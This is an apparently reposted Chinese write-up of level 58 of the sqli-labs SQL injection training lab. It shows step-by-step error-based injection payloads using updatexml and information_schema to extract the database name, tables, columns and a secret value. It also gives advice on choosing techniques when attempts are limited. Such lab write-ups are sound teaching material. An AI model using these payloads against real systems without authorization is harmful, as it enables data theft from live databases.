文章总结: 本文记录了SQL注入实战sqli-labs第58关的通关过程。在Union注入因尝试次数限制受阻后,作者成功利用报错注入获取数据库信息。文章总结了在有限尝试环境下应优先使用报错技术以提高效率,并给出了从闭合符号判断到获取数据的完整操作流程。 综合评分: 80 文章分类: WEB安全,渗透测试,实战经验,漏洞分析

。只能reset the Challenge!重新获得5次尝试机会。
等待重定向自动刷新页面又开启新的挑战,这时关卡后端的表名又刷新了。既然union注入行不通,我们尝试之前的显错注入:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
可以反馈当前数据库信息challenges。说明显错注入可用,于是利用显错注入来获取我们想要的数据。
构造payload:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1) --+
可以获取challenge中的表名为:SKYOYYJJPL
下一步,获取该表的字段信息:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='SKYOYYJJPL'),0x7e),1) --+
获取到字段名称有:~id,sessid,secret_W5X3,tryy~
最后一步,从challenges.SKYOYYJJPL获取字段secret_W5X3的数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_W5X3) from challenges.SKYOYYJJPL),0x7e),1) --+
可以获取到对应密钥。这里需要注意的是,我们在concat的前后都加入了0x7e,在获取到的信息两端都有,说明获取的信息是完整没有被截断的。因此可以直接使用,复制粘贴放入submit,可以看到CONGRATS YOU NAILED IT。
若我们在获取的数据后方没有发现0x7e的符号~,说明数据有可能被截断,此时就需要substr()来逐段获取数据。
结语:从操作到方法论 —— 有限尝试环境下的SQL注入思路
前面这几关我们可以总结出一套固定流程:确定闭合方式→数据库 → 表 → 字段 → 数据。
请求次数已经成为了攻击资源,不是每次payload都值得发送。
在有限请求次数下,优先使用error based技术,相比UNION,不需要猜列数,信息获取效率更高。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安 武文学网安《SQL注入实战:challenges第58关》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论